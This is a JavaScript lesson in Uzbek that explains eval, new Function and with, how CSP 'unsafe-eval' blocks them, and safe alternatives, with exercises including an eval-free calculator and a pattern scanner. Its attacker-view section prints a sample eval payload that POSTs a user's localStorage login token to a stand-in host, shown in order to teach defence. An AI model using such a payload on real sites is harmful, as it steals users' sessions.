IlmHamroh
JavaScript Full-stack/12-qism. JavaScript: ilg'or mavzular va kod sifati21/44-dars20 daqiqa
Mundarija (35)

JavaScript eval, new Function va with: satrdan kod bajarish xavfi va CSP

Qisqacha: eval("2 + 3") va new Function("a", "return a * 2") — satrni kod sifatida bajaradi. Satr foydalanuvchidan kelsa, u sizning sahifangizda istalgan kodni ishga tushira oladi — bu XSS'ning eng to'g'ri yo'li. Ular kodni sekinlashtiradi va saytning CSP siyosatida 'unsafe-eval' bo'lmasa, brauzer ularni EvalError bilan bloklaydi. with esa qat'iy rejimda umuman taqiqlangan. Deyarli har holatda xavfsiz muqobil bor: JSON.parse, obyekt[kalit], funksiyalar lug'ati.

Bu darsda

  • eval qanday ishlashini, to'g'ridan-to'g'ri va bilvosita eval farqini tushuntira olasiz.
  • new Function ning eval dan farqini (faqat global scope) bilasiz.
  • with nima qilishini va nega u qat'iy rejimda taqiqlanganini aytib bera olasiz.
  • CSP 'unsafe-eval' nimani bloklashini o'z ko'zingiz bilan ko'rasiz va haqiqiy xato matnini taniysiz.
  • Eski koddagi eval, satrli setTimeout va with ni xavfsiz muqobil bilan almashtira olasiz.

Oldin bilishingiz kerak: Strict mode, Leksik scope va scope zanjiri, JSON asoslari, Kontentni o'zgartirish va XSS xavfi.

1. Nega bu kerak?

Oldingi darsda Proxy bilan obyekt amallarini ushlab qoldik. U tilning kuchli, lekin xavfsiz imkoniyati edi. Bugungi uchta vosita ham kuchli — lekin xavfli. Ularni ishlatish uchun emas, tanish va qochish uchun o'rganamiz.

«Bahor» administratori Sardordan iltimos qildi: "Kassaga kichik kalkulyator qo'y. Men 35000 * 2 + 5000 deb yozsam, javobini chiqarsin." Sardor internetdan qidirib, bitta qatorli yechim topdi:

js
const ifoda = "35000 * 2 + 5000";

console.log(eval(ifoda)); // 75000

Ishladi! Bir qator — va tayyor kalkulyator. Bu yechim juda jozibali ko'rinadi. Lekin bu satr kalkulyator emas, istalgan JavaScript kodini bajaradigan mashina. Kassir 35000 * 2 o'rniga boshqa narsa yozsa-chi? Yoki bu maydon ertaga saytga — mehmonlar uchun ochilsa-chi?

Oldingi qismlarda bu mavzuga uch marta duch kelgan edik:

  • JSON asoslari darsida: "eski kodda JSON eval bilan o'qiladi — bu xavfli";
  • Taymerlar darsida: brauzer setTimeout("kod", 100) ni qabul qiladi va satrni eval kabi bajaradi;
  • Strict mode darsida: with qat'iy rejimda taqiqlangan.

Bugun uchala va'dani yopamiz.

Hayotdan o'xshatish: imzolangan bo'sh blanka. Notariusda bo'sh qog'ozga imzo qo'yib, uni begona odamga berdingiz. U nima yozsa — "sotdim", "qarz oldim" — hammasi sizning nomingizdan. eval ga begona satr berish — xuddi shunday: satr nima desa, sahifa sizning saytingiz nomidan bajaradi.

2. eval: satrni kod qilib bajarish

2.1 Qanday ishlaydi

eval — global funksiya. U satrni oladi, uni JavaScript kodi sifatida tahlil qiladi va bajaradi. Oxirgi ifodaning qiymatini qaytaradi:

js
console.log(eval("2 + 3 * 4")); // 14
console.log(eval("const a = 5; a * a")); // 25
console.log(eval(42)); // 42

Uchinchi qatorga qarang: satr bo'lmagan argument o'zgarishsiz qaytadi. eval faqat satrni kod deb o'qiydi.

Endi Sardorning kalkulyatoriga begona "ifoda" beramiz:

js
const ifoda = "console.log('kod ishladi'), 0";

console.log(eval(ifoda));

Konsolda:

text
kod ishladi
0

Kalkulyator 0 qaytardi — hech narsa shubhali emas. Lekin oraliqda console.log ishladi. console.log o'rnida boshqa narsa bo'lishi mumkin edi. «Hujumchi nigohi» bo'limida aynan nima bo'lishini ko'ramiz.

2.2 To'g'ridan-to'g'ri eval joriy scope'ni ko'radi

eval ning eng g'alati xususiyati — u chaqirilgan joyning o'zgaruvchilarini ko'radi. Xuddi kod shu joyga yozilgandek:

js
const narx = 1000;

function hisobla() {
  const narx = 35000;
  return eval("narx * 2");
}

console.log(hisobla()); // 70000

eval ichidagi narx — hisobla ning mahalliy narx i, global emas. Leksik scope darsidagi qoida eslang: o'zgaruvchi kod yozilgan joyga qarab topiladi. eval esa kodni "keyinroq yozadi" — dastur ishlayotganda, aynan shu qatorda.

Bu imkoniyat eval ni xavfli qiladi: begona satr nafaqat global narsalarga, balki funksiyangizning ichki o'zgaruvchilariga ham yeta oladi — parollar, tokenlar, kalitlar.

Oddiy (qat'iy bo'lmagan) skriptda eval yangi o'zgaruvchini ham tashqariga chiqarib yuboradi:

js
function sinash() {
  eval("var yangi = 5");
  return typeof yangi;
}

console.log(sinash()); // number

yangi funksiyada e'lon qilinmagan edi — uni eval ichidagi satr yaratdi. Endi funksiyaning o'zgaruvchilari ro'yxati dastur ishlayotganda o'zgaradi. Qat'iy rejimda bunday bo'lmaydi: eval ichidagi var o'sha eval ichida qoladi. Modulda xuddi shu kod undefined qaytaradi.

2.3 Bilvosita eval: faqat global scope

eval boshqa nom bilan chaqirilsa, u o'zgacha ishlaydi. Bu bilvosita eval (indirect eval):

js
globalThis.narx = 1000;

function hisobla() {
  const narx = 35000;
  const bilvosita = eval;
  return [eval("narx"), bilvosita("narx")];
}

console.log(hisobla()); // [ 35000, 1000 ]

To'g'ridan-to'g'ri eval("narx") mahalliy narx ni ko'rdi. bilvosita("narx") esa faqat global obyektni (globalThis) ko'rdi. Eski kodda (0, eval)("...") degan g'alati yozuv uchraydi — bu ham bilvosita eval: vergul operatori eval funksiyasini "nomsiz" qiymat qilib qaytaradi (Vergul operatori).

Til buni shunday ajratadi: kodda aynan eval(...) yozilgan bo'lsa — to'g'ridan-to'g'ri. Funksiya boshqa yo'l bilan qo'lga tushsa — bilvosita.

Diqqat: Modul va Node'ning .cjs faylida eng yuqoridagi const — global obyektning xususiyati emas. Shuning uchun bilvosita eval modul darajasidagi const narx ni ko'rmaydi. Brauzerdagi oddiy <script> da esa ko'radi. Misolda shu sababli globalThis.narx yozdik.

Sxemada uch vosita qaysi o'zgaruvchilarni ko'rishini solishtiring:

flowchart TB
  G["global scope<br/>globalThis.narx = 1000"]
  F["hisobla() scope<br/>const narx = 35000"]
  F --> G
  E1["eval('narx')<br/>to'g'ridan-to'g'ri"] --> F
  E2["bilvosita eval"] --> G
  E3["new Function"] --> G

To'g'ridan-to'g'ri eval — chaqirilgan joyning scope'iga ulanadi va undan scope zanjiri bo'ylab tashqariga boradi. Bilvosita eval va new Function — to'g'ridan-to'g'ri global scope'ga.

Tekshirib ko'ring: function f() { const kod = "x"; return eval(kod); } — bu yerda eval to'g'ridan-to'g'rimi yoki bilvositami?

Javob

To'g'ridan-to'g'ri. Satr o'zgaruvchidan kelgani muhim emas — muhimi chaqiruv shakli: kodda aynan eval(...) yozilgan. Bilvosita bo'lishi uchun eval funksiyasining o'zi boshqa nom bilan chaqirilishi kerak (const e = eval; e(kod)).

3. new Function: satrdan funksiya yasash

3.1 Sintaksis

Function konstruktori satrlardan yangi funksiya yasaydi. Oxirgi argument — funksiya tanasi, oldingilari — parametr nomlari:

js
const qoshish = new Function("a", "b", "return a + b");

console.log(qoshish(35000, 5000)); // 40000
console.log(qoshish.name); // anonymous

Bu function (a, b) { return a + b; } ga teng. Faqat kod dastur yozilganda emas, ishlayotganda satrdan yig'ilyapti. Funksiyaning nomi — anonymous.

3.2 Faqat global scope

new Function bilan yasalgan funksiya closure bo'lmaydi (Closure). U qayerda yasalganidan qat'i nazar, faqat global scope'ni ko'radi:

js
function hisobla() {
  const narx = 35000;
  const ikkiBaravar = new Function("return narx * 2");
  return ikkiBaravar();
}

hisobla();
text
ReferenceError: narx is not defined

Tarjimasi: "narx aniqlanmagan." narx shu yerda, bir qator yuqorida turibdi — lekin new Function uni ko'rmaydi. Uning tanasi global scope'da tahlil qilinadi. Kerakli qiymatni parametr orqali bering: new Function("narx", "return narx * 2")(narx).

Bu eval dan biroz xavfsizroq: satr mahalliy o'zgaruvchilarga yeta olmaydi. Lekin global narsalarga — document, fetch, localStorage ga — bemalol yetadi. Begona satr uchun u ham xavfli.

3.3 Qayerda haqli ishlatiladi

new Function ning halol ish joylari bor, va ularning umumiy belgisi: satrni dasturchi yoki foydalanuvchining o'zi yozgan va o'zi ishga tushirmoqchi.

  • Kod ishga tushiruvchilar. Shu saytdagi «Ishga tushir» tugmasi. U siz yozgan kodni bajaradi — bu uning butun vazifasi. Uning qanday himoyalangani — «Bu sayt-chi?» bo'limida.
  • Shablon dvigatellari. Ba'zi kutubxonalar shablonni bir marta new Function bilan tez ishlaydigan funksiyaga aylantiradi. Bugun buning o'rniga tagged template yoki oldindan kompilyatsiya ko'proq ishlatiladi.
  • Sintaksisni tekshirish. new Function(kod) kodni bajarmaydi, faqat funksiya yasaydi. Kodda sintaksis xatosi bo'lsa — darhol SyntaxError. Sayt shu usul bilan blokni modul sifatida bajarish kerakmi-yo'qmi aniqlaydi.

Hammasida satrning manbai — kodning egasi. Mehmon, mijoz yoki URL'dan kelgan satr — hech qachon.

4. with: obyektni scope'ga aylantirish

4.1 Nima qiladi

with (obyekt) { ... } — blok ichida obyekt xususiyatlarini o'zgaruvchi kabi ishlatish imkonini beradi. U faqat qat'iy bo'lmagan skriptda ishlaydi:

js
const taom = { nom: "Osh", narx: 35000 };

with (taom) {
  console.log(nom, narx); // Osh 35000
}

nom va narx e'lon qilinmagan, lekin with ularni taom dan topdi. Bir qarashda qulay — taom. ni takrorlash shart emas.

4.2 Muammo: nom qayerdan kelgani noaniq

Endi blok ichida yozishni sinaymiz:

js
const taom = { nom: "Osh", narx: 35000 };

with (taom) {
  nom = "Manti";
  soni = 2;
}

console.log(taom.nom); // Manti
console.log(taom.soni, typeof soni); // undefined number

nom — taom da bor, u o'zgardi. soni esa taom da yo'q edi. JavaScript uni scope zanjiri bo'ylab qidirdi, topmadi va... global o'zgaruvchi yaratdi. Endi soni butun dastur bo'ylab yashaydi, taom da esa yo'q.

Asosiy muammo shu: with blokidagi har bir nomni o'qib, uning qayerdan kelishini kod yozilgan paytda aytib bo'lmaydi. Obyektda shu xususiyat bormi? Ertaga qo'shilib qolsa-chi? Javob dastur ishlayotgandagi obyektga bog'liq. Odam ham, JavaScript dvigateli (kodni bajaradigan dastur, masalan Chrome va Node'dagi V8) ham oldindan bila olmaydi. Natijada kodni o'qish qiyin, dvigatel esa uni optimallashtira olmaydi.

4.3 Qat'iy rejimda — taqiq

Shuning uchun qat'iy rejimda with sintaksis xatosi. Modullar va klasslar doim qat'iy (Strict mode):

js
const taom = { nom: "Osh" };

with (taom) {
  console.log(nom);
}
text
SyntaxError: Strict mode code may not include a with statement

Tarjimasi: "Qat'iy rejim kodida with ko'rsatmasi bo'lishi mumkin emas." Xato kod ishga tushishidan oldin chiqadi. Zamonaviy muqobil — destructuring:

js
const taom = { nom: "Osh", narx: 35000 };
const { nom, narx } = taom;

console.log(nom, narx); // Osh 35000

Har nom qayerdan kelgani birinchi qatordayoq ko'rinib turibdi.

Tekshirib ko'ring: with ning g'oyasiga eng yaqin zamonaviy vosita qaysi — u ham obyektni "o'zgaruvchilar muhiti"ga aylantiradi?

Javob

Proxy, has trap'i bilan (Proxy va Reflect). Ba'zi sandbox kutubxonalari with va proxy'ni birga ishlatib, kodga "soxta global muhit" beradi. Bu murakkab va oson buziladi — xavfsizlik uchun ishonchli yo'l emas. Ishonchli ajratish — alohida iframe yoki alohida jarayon.

5. CSP: brauzer eval ni to'xtatadi

5.1 'unsafe-eval' nima

XSS darsida asosiy himoya — begona matnni HTML'ga aylantirmaslik ekanini ko'rdik. Ikkinchi himoya qatlami bor — CSP (Content Security Policy, kontent xavfsizligi siyosati). Bu server yuboradigan sarlavha: "bu sahifada qaysi manbadan qanday skript ishlashi mumkin". CSP'ni to'liq XSS va DOM xavfsizligi darsida o'rganamiz. Bugun uning bitta qismi kerak.

script-src qoidasida 'unsafe-eval' so'zi bo'lmasa, brauzer satrdan kod yasashni bloklaydi:

  • eval(...);
  • new Function(...);
  • setTimeout("satr", ...) va setInterval("satr", ...).

Nomiga e'tibor bering: "unsafe" — "xavfli". Bu so'zni CSP'ga yozgan odam "men xavfni bilaman" deb imzo qo'yadi.

5.2 Jonli: CSP eval ni bloklaydi

Quyidagi oynada sahifa o'ziga qattiq CSP qo'yadi: script-src 'unsafe-inline' — "sahifa ichidagi skriptlar ishlasin, lekin satrdan kod yasash — yo'q". Keyin uch narsani sinaydi:

html
<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy"
        content="script-src 'unsafe-inline'">
</head>
<body>
  <p>Konsolga qarang.</p>
  <script>
    try {
      eval("35000 * 2");
      console.log("eval ishladi");
    } catch (xato) {
      console.log("eval:", xato.name);
    }
    try {
      new Function("return 1")();
      console.log("new Function ishladi");
    } catch (xato) {
      console.log("new Function:", xato.name);
    }
    const menyu = JSON.parse('{"osh":35000}');
    console.log("JSON.parse:", menyu.osh);
  </script>
</body>
</html>

Konsolda:

text
eval: EvalError
new Function: EvalError
JSON.parse: 35000

eval va new Function bloklandi, JSON.parse esa ishladi — u kodni bajarmaydi, faqat ma'lumot o'qiydi. "Tahrirlab ko'rish" ni bosib, content ichiga 'unsafe-eval' qo'shing: ikkala qator ham "ishladi" bo'ladi.

Chrome 154 dagi to'liq xato matni (DevTools konsolida):

text
EvalError: Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script: script-src 'unsafe-inline'".

Tarjimasi: "Satrni JavaScript sifatida bajarish quyidagi CSP qoidasini buzadi, chunki 'unsafe-eval' ruxsat etilgan skript manbai emas: script-src 'unsafe-inline'." Oxiridagi ". belgilari — Chrome xabarining o'zida shunday, xato emas. Xabar aynan qaysi qoida bloklaganini aytadi. Bunday xatoni ko'rsangiz, 'unsafe-eval' ni qo'shishga shoshilmang — avval kodda eval qayerdan kelayotganini toping. Ko'pincha u eski kutubxonada bo'ladi.

Satrli setTimeout xato tashlamaydi — u jimgina bajarilmaydi, konsolda esa qizil ogohlantirish chiqadi: ... The action has been blocked. ("Amal bloklandi").

5.3 Node'da ham shunday bayroq bor

Node'da CSP yo'q, lekin xuddi shunday taqiqni bayroq bilan yoqish mumkin:

bash
node --disallow-code-generation-from-strings -e "eval('1 + 1')"
text
EvalError: Code generation from strings disallowed for this context

Tarjimasi: "Bu kontekstda satrlardan kod yasash taqiqlangan." new Function ham xuddi shu xatoni beradi. Server kodida eval umuman kerak bo'lmasa, bu bayroq "kimdir tasodifan qo'shib qo'ymasin" degan sug'urta.

5.4 Bu sayt-chi?

Halol savol: IlmHamroh o'zi 'unsafe-eval' ni ishlatadimi? Ha. Saytning script-src qoidasida 'unsafe-eval' bor. Bu tasodif emas, ongli tanlov — va uning narxini ochiq aytamiz.

Nega kerak? Saytning asosiy ishlaridan biri — siz yozgan kodni ishga tushirish. «Ishga tushir» tugmasi blokni modul sifatida bajarish kerakmi-yo'qmi aniqlash uchun new Function bilan sintaksisni tekshiradi. Python darslaridagi kod esa brauzerda Pyodide orqali ishlaydi. Pyodide — WebAssemblyga (brauzer tez bajaradigan, JavaScript'dan boshqa kod formati; hozir bilish shart emas) o'girilgan Python. U ham kodni dastur ishlayotganda yasaydi. 'unsafe-eval' siz bularning hammasi EvalError bilan to'xtardi.

Qanday himoyalangan? JavaScript bloklaringiz asosiy sahifada emas, alohida sandbox iframe ichida bajariladi. Bu iframe'ga allow-same-origin berilmagan — brauzer uni "hech kimga tegishli bo'lmagan" alohida origin'da ochadi (Same-origin policy). U yerdagi kod saytning cookie'lariga, localStorage dagi kirish tokeniga va sahifaning o'ziga yeta olmaydi. Python bloklari esa hozircha sahifaning o'zida, Pyodide ichida ishlaydi — ular sandbox'da emas. Bu yerda himoya boshqa: bajariladigan kod faqat dars matnidan yoki siz o'z brauzeringizda o'zingiz yozgan narsadan keladi, darslar esa faqat bizning tekshirilgan repozitoriydan. Begona odam sizning brauzeringizda kod ishga tushira olmaydi. CSP'ning qolgan qoidalari (object-src 'none', frame-ancestors 'none', ulanish mumkin bo'lgan manzillar ro'yxati) ishlashda davom etadi.

Narxi nima? Agar saytning o'zida XSS teshigi topilsa, 'unsafe-eval' hujumchining ishini osonlashtiradi — CSP bu eshikni yopmaydi. Shuning uchun biz XSS'ning boshqa eshiklarini yopiq tutishga majburmiz: begona matn hech qachon innerHTML ga tushmaydi.

Sizning saytingiz uchun qoida: kodni ishga tushiradigan servis yozmasangiz — 'unsafe-eval' kerak emas. Faqat WebAssembly uchun kerak bo'lsa, torroq 'wasm-unsafe-eval' kalit so'zi bor: u WebAssembly'ni ruxsat etadi, eval ni esa yo'q. 'unsafe-eval' majbur bo'lsa — begona kodni alohida origin'ga, sandbox iframe'ga ajrating, xuddi biz qilgandek.

Tekshirib ko'ring: Saytingiz CSP'sida 'unsafe-eval' yo'q. Eski kutubxona ishga tushganda konsolda EvalError chiqyapti. Eng to'g'ri birinchi qadam qaysi: CSP'ga 'unsafe-eval' qo'shish yoki boshqa narsa?

Javob

Avval xato stack trace'idan (xato qaysi fayl va funksiyalar orqali kelganini ko'rsatadigan ro'yxat) eval qaysi kutubxonada va nima uchun chaqirilayotganini topish. Ko'pincha kutubxonaning yangi versiyasida u olib tashlangan yoki "CSP-safe" degan alohida yig'ma bor. 'unsafe-eval' ni qo'shish — butun sayt himoyasini bitta kutubxona uchun zaiflashtirish. Bu oxirgi chora.

6. Xavfsiz muqobillar

Eski kodda eval va with ni ko'rsangiz, deyarli har doim to'g'ri almashtirish bor:

Eski yozuv Xavfsiz muqobil
eval("(" + json + ")") JSON.parse(json)
eval("menyu." + kalit) menyu[kalit]
eval(funksiyaNomi + "()") amallar[funksiyaNomi]()
setTimeout("chiz()", 100) setTimeout(chiz, 100)
with (taom) { ... } const { nom, narx } = taom
eval(matematikIfoda) kichik o'z parser yoki tayyor kutubxona

Ikkinchi va uchinchi qatorlar bitta g'oya: nomni satr qilib "kodga yopishtirish" o'rniga, uni kvadrat qavs bilan kalit sifatida ishlatish. Kalit — ma'lumot, kod emas. Uning ichida nima bo'lsa ham, u bajarilmaydi:

js
const menyu = { osh: 35000, manti: 30000 };
const kalit = "osh";

console.log(menyu[kalit]); // 35000
console.log(menyu["toString; alert(1)"]); // undefined

Ikkinchi qatordagi "hujum" shunchaki mavjud bo'lmagan kalit bo'lib qoldi.

Matematik ifodalar uchun mathjs (15.2 versiya) kabi kutubxonalar ifodani o'zi tahlil qiladi, eval ishlatmaydi. Oddiy holatlar uchun o'z parseringizni 3-mashqda yozasiz.

Hujumchi nigohi

Tasavvur qiling: Sardorning eval li kalkulyatori saytga chiqdi — mehmonlar buyurtma summasini hisoblashi uchun. Hujumchi esa unga "ifoda" emas, boshqa narsa yuboradi. Masalan, havola orqali: ?ifoda=.... Sardor qiymatni URL'dan oladi va to'g'ridan-to'g'ri eval ga beradi.

Hujumchining satri taxminan shunday:

js
// ❌ Hujumchi yuborgan "ifoda" (hech qachon ishga tushirmang)
fetch("https://hujumchi.example/olish", {
  method: "POST",
  body: localStorage.getItem("kirishToken"),
}), 0

Bu satr eval ichida bajarilsa, kalkulyator 0 ko'rsatadi — hech narsa shubhali emas. Lekin oraliqda mehmonning kirish tokeni hujumchining serveriga ketdi. Endi hujumchi u mehmon nomidan tizimga kira oladi. Hujumchi havolani Telegram guruhga tashlasa, uni bosgan har bir mehmon jabrlanadi. Bu — o'sha XSS, faqat innerHTML o'rniga eval eshigidan.

Himoya uch qatlamli:

  1. Kodda: eval yo'q. Kalkulyator — faqat raqam va + - * / ni tushunadigan kichik parser (3-mashq). Begona satr hech qachon kodga aylanmaydi.
  2. CSP'da: 'unsafe-eval' yo'q. Kimdir eval ni qaytarib qo'shsa ham, brauzer uni bloklaydi.
  3. Tokenda: kirish tokeni localStorage da emas, JavaScript o'qiy olmaydigan httpOnly cookie'da. Buni server qismlarida o'rganamiz.

Bitta qatlam yetarli emasmi? Yo'q. Har biri boshqasining xatosini sug'urta qiladi. Xavfsizlikda bu yondashuv chuqur himoya (defense in depth) deb ataladi.

7. Ko'p uchraydigan xatolar

7.1 JSON'ni eval bilan o'qish

Eski maqolalarda eval("(" + matn + ")") uchraydi. Qavslarsiz esa yana bir tuzoq bor:

js
console.log(eval("({ osh: 1 })")); // { osh: 1 }
console.log(eval("{ osh: 1 }")); // 1

Qavssiz { osh: 1 } obyekt emas, blok deb o'qildi: osh: — label (break, continue va label'lar), 1 — ifoda. Natija 1. Tuzatish: JSON.parse(matn) — tez, xavfsiz va bunday tuzoqsiz.

7.2 Satrli setTimeout

Node'da satrli setTimeout darhol xato beradi:

js
setTimeout("console.log('salom')", 100);
text
TypeError [ERR_INVALID_ARG_TYPE]: The "callback" argument must be of type function. Received type string ('console.log(\'salom\')')

Tarjimasi: "callback argumenti funksiya turida bo'lishi kerak. Satr keldi." Brauzer esa satrni qabul qiladi va eval kabi bajaradi — CSP bo'lsa bloklaydi. Tuzatish: funksiya bering: setTimeout(() => console.log("salom"), 100).

7.3 new Function ichida mahalliy o'zgaruvchi

ReferenceError: narx is not defined — new Function closure emas, faqat global scope'ni ko'radi. Tuzatish: qiymatni parametr qilib bering. Yaxshisi — oddiy funksiya yoki arrow yozing.

7.4 Modulda with

SyntaxError: Strict mode code may not include a with statement. Modullar doim qat'iy. Tuzatish: destructuring yoki obyekt.xususiyat.

7.5 "Faqat ishonchli satr"ni ishonchli deb o'ylash

"Satr bizning bazamizdan keladi, xavfsiz" — lekin bazaga uni kim yozgan? Mehmonning izohi, administrator kiritgan maydon, boshqa servis javobi — hammasi bir kun begona bo'lib chiqishi mumkin. Qoida: kod sifatida faqat dasturchi yozgan va repozitoriyda turgan matn bajariladi.

8. Mashqlar

1-mashq (oson): eval ni olib tashlang

Eski kodda narx eval bilan olinadi. Uni eval siz qayta yozing. Kalit menyuda bo'lmasa, null qaytarsin. Ishora: kvadrat qavs va Object.hasOwn.

js
const menyu = { osh: 35000, manti: 30000 };

function narxniOl(taom) {
  return eval("menyu." + taom); // ❌
}
Yechim
js
const menyu = { osh: 35000, manti: 30000 };

function narxniOl(taom) {
  return Object.hasOwn(menyu, taom) ? menyu[taom] : null;
}

console.log(narxniOl("osh")); // 35000
console.log(narxniOl("lagmon")); // null
console.log(narxniOl("toString")); // null

Object.hasOwn faqat obyektning o'z kalitlarini tekshiradi. Oddiy in bo'lsa, "toString" prototipdan topilib, narx o'rniga funksiya qaytardi.

2-mashq (o'rta): Amallar lug'ati

Kassa buyruqlarni matn ko'rinishida oladi: "qosh 35000 5000", "ayir 35000 5000", "kopaytir 35000 2". bajar(buyruq) funksiyasini eval siz yozing: birinchi so'z — amal nomi, qolgani — ikkita son. Noma'lum amal bo'lsa — Error tashlasin. Ishora: amallar obyekti (nom → arrow funksiya), split(" "), massiv destructuring (Massiv destructuring).

js
console.log(bajar("qosh 35000 5000")); // 40000
console.log(bajar("kopaytir 35000 2")); // 70000
bajar("ochir 1 2"); // Error: Noma'lum amal: ochir
Yechim
js
const amallar = {
  qosh: (a, b) => a + b,
  ayir: (a, b) => a - b,
  kopaytir: (a, b) => a * b,
};

function bajar(buyruq) {
  const [nom, a, b] = buyruq.split(" ");
  if (!Object.hasOwn(amallar, nom)) {
    throw new Error(`Noma'lum amal: ${nom}`);
  }
  return amallar[nom](Number(a), Number(b));
}

console.log(bajar("qosh 35000 5000")); // 40000
console.log(bajar("kopaytir 35000 2")); // 70000

try {
  bajar("ochir 1 2");
} catch (xato) {
  console.log(xato.message); // Noma'lum amal: ochir
}

Buyruq matni faqat kalit sifatida ishlatildi. Ruxsat etilgan amallar ro'yxati — kodda, oldindan. Bu oq ro'yxat tamoyili: nima mumkinligini aniq sanaymiz, qolgani taqiqlangan.

3-mashq (qiyin): eval siz kalkulyator

Sardorning kalkulyatorini xavfsiz qiling. hisobla(ifoda) faqat butun sonlar, + - * / va bo'sh joylarni qabul qilsin. Boshqa belgi bo'lsa — Error. Ko'paytirish va bo'lish qo'shish va ayirishdan oldin bajarilsin. Ishora: avval regex bilan tekshiring (/^[\d\s+\-*/]+$/), keyin match(/\d+|[+\-*/]/g) bilan bo'laklarga ajrating (RegExp asoslari). Ikki o'tish qiling: birinchisida * va / ni hisoblang, ikkinchisida + va - ni.

js
console.log(hisobla("35000 * 2 + 5000")); // 75000
console.log(hisobla("100 - 20 / 4")); // 95
hisobla("alert(1)"); // Error
Yechim
js
function bolaklarga(ifoda) {
  if (!/^[\d\s+\-*/]+$/.test(ifoda)) {
    throw new Error(`Ruxsat etilmagan belgi: ${ifoda}`);
  }
  return ifoda.match(/\d+|[+\-*/]/g);
}

function hisobla(ifoda) {
  const bolaklar = bolaklarga(ifoda);
  const qolgan = [Number(bolaklar[0])];
  for (let i = 1; i < bolaklar.length; i += 2) {
    const amal = bolaklar[i];
    const son = Number(bolaklar[i + 1]);
    if (amal === "*") qolgan.push(qolgan.pop() * son);
    else if (amal === "/") qolgan.push(qolgan.pop() / son);
    else qolgan.push(amal, son);
  }
  let natija = qolgan[0];
  for (let i = 1; i < qolgan.length; i += 2) {
    natija = qolgan[i] === "+" ? natija + qolgan[i + 1]
      : natija - qolgan[i + 1];
  }
  return natija;
}

console.log(hisobla("35000 * 2 + 5000")); // 75000
console.log(hisobla("100 - 20 / 4")); // 95

try {
  hisobla("alert(1)");
} catch (xato) {
  console.log(xato.message); // Ruxsat etilmagan belgi: alert(1)
}

Birinchi sikl * va / ni darhol hisoblaydi va natijani qolgan massivining oxiriga qaytaradi. + va - esa keyinga qoldiriladi. Ikkinchi sikl qolganlarini chapdan o'ngga yig'adi. Qavslar, manfiy sonlar va xato ifodalar ("2 + * 3") bu parserda yo'q — real loyihada tayyor kutubxona olish yaxshiroq. Lekin eng muhimi bajarildi: begona satr hech qachon kodga aylanmaydi.

4-mashq: Vazifalar qadami — eval qidiruvchi

vazifalar kodida eval, new Function, with va satrli taymer yo'qligini avtomatik tekshiramiz. Mashqlar repoda kurs/mashqlar/12/21-eval/qidir.mjs yarating. U berilgan papkadagi barcha .js fayllarni o'qib, xavfli naqshlarni regex bilan qidirsin va topilganini fayl:qator ko'rinishida chiqarsin. Ishora: node:fs dagi readdirSync va readFileSync, node:path dagi join; papka yo'li — process.argv[2].

Yechim
js
// 12/21-eval/qidir.mjs
import { readdirSync, readFileSync } from "node:fs";
import { join } from "node:path";

const naqshlar = [
  /\beval\s*\(/,
  /\bnew\s+Function\s*\(/,
  /\bwith\s*\(/,
  /\bset(?:Timeout|Interval)\s*\(\s*["'`]/,
];

const papka = process.argv[2] ?? ".";
let topildi = 0;

for (const nom of readdirSync(papka)) {
  if (!nom.endsWith(".js")) continue;
  const qatorlar = readFileSync(join(papka, nom), "utf8").split("\n");
  qatorlar.forEach((qator, i) => {
    if (naqshlar.some((naqsh) => naqsh.test(qator))) {
      console.log(`${nom}:${i + 1}: ${qator.trim()}`);
      topildi++;
    }
  });
}

if (topildi === 0) console.log("Xavfli naqsh topilmadi");
else console.log(`Jami: ${topildi}`);

vazifalar repozitoriysida node ../mashqlar/12/21-eval/qidir.mjs assets/js ishga tushirildi:

text
Xavfli naqsh topilmadi

Regex izoh ichidagi so'zni ham, massiv.with(...) metodini ham "topadi" — bu soxta signal. Kodni haqiqatan tahlil qiladigan vosita — ESLint, uning no-eval, no-implied-eval, no-new-func qoidalari aynan shu ishni aniq qiladi. Uni ESLint va Prettier darsida ulaymiz.

bash
git add 12/21-eval
git commit -m "12/21: eval va with qidiruvchi skript"

9. Real ishda

  • Code review. Pull request'da eval, new Function, innerHTML va satrli setTimeout — darhol savol beriladigan so'zlar. Ko'p jamoalarda ular ESLint bilan avtomatik taqiqlangan.
  • CSP. Bank, davlat va to'lov tizimlari saytlarida qattiq CSP standart: 'unsafe-eval' va 'unsafe-inline' siz. Eski kutubxona eval ishlatsa — u loyihaga kirmaydi.
  • Onlayn muharrirlar. CodePen, StackBlitz va shu saytdagi «Ishga tushir» — eval ning halol ishi. Ularning hammasi kodni alohida origin'da yoki sandbox iframe'da bajaradi.
  • Node serverlar. vm moduli (24-qismda) kodni alohida kontekstda bajaradi, lekin Node hujjatlari ochiq yozadi: u xavfsizlik mexanizmi emas. Ishonchsiz kod uchun alohida jarayon yoki konteyner kerak.
  • Intervyu. "eval nega yomon?", "To'g'ridan-to'g'ri va bilvosita eval farqi?", "new Function closure'ni ko'radimi?" — middle savollari.

Xulosa

  • eval(satr) satrni kod qilib bajaradi; to'g'ridan-to'g'ri eval joriy scope'ni ko'radi, bilvosita ((0, eval)) — faqat global'ni.
  • new Function(...) satrdan funksiya yasaydi, closure emas — faqat global scope; halol ish joyi: kod ishga tushiruvchilar va sintaksis tekshiruvi.
  • with nomlar qayerdan kelishini noaniq qiladi va global o'zgaruvchi yaratib yuboradi; qat'iy rejimda — SyntaxError.
  • CSP'da 'unsafe-eval' bo'lmasa, eval, new Function va satrli taymerlar bloklanadi (EvalError); WebAssembly uchun torroq 'wasm-unsafe-eval' bor.
  • Bu sayt 'unsafe-eval' ni kod ishga tushiruvchi uchun ongli ravishda ishlatadi va begona kodni sandbox iframe'da ajratadi.
  • Muqobillar: JSON.parse, obyekt[kalit], amallar lug'ati, funksiyali setTimeout, destructuring, kichik parser.

Keyingi dars: FP g'oyalari va deklarativ uslub — "qanday qilish"ni emas, "nima kerak"ligini yozish: funksional dasturlashning asosiy g'oyalari.

Manbalar

  • MDN: "eval()" (shu jumladan "Never use direct eval()!" bo'limi), "Function() constructor", "with" — developer.mozilla.org
  • MDN: "Content-Security-Policy: script-src" ('unsafe-eval', 'wasm-unsafe-eval') — developer.mozilla.org
  • ECMAScript 2025 Language Specification, 19.2.1 "eval (x)", 14.11 "The with Statement" — tc39.es/ecma262
  • Node.js: "Command-line API" (--disallow-code-generation-from-strings), "VM (executing JavaScript)" — nodejs.org/api
  • OWASP: "Content Security Policy Cheat Sheet" — cheatsheetseries.owasp.org
